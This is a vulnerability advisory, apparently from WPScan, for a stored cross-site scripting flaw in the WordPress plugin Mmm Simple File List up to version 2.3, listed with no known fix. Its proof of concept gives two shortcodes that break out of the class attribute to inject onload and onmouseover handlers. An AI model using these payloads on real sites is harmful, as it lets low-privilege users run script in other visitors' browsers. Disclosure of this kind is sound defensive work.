WordPress Plugin Vulnerabilities

Mmm Simple File List <= 2.3 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

As a contributor, put the below shortcodes in a post


[MMFileList folder='../../' format='img' class='" onload=alert(/XSS/)//'] (the folder the reach must contain images for the XSS to trigger)

[MMFileList folder='../..' class='" onmouseover=alert(/XSS/)//'] (the XSS will be triggered when moving the mouse over the generated list)

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Submitter
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-11-06 (about 6 months ago)
Added
2023-11-06 (about 6 months ago)
Last Updated
2023-11-06 (about 6 months ago)

Other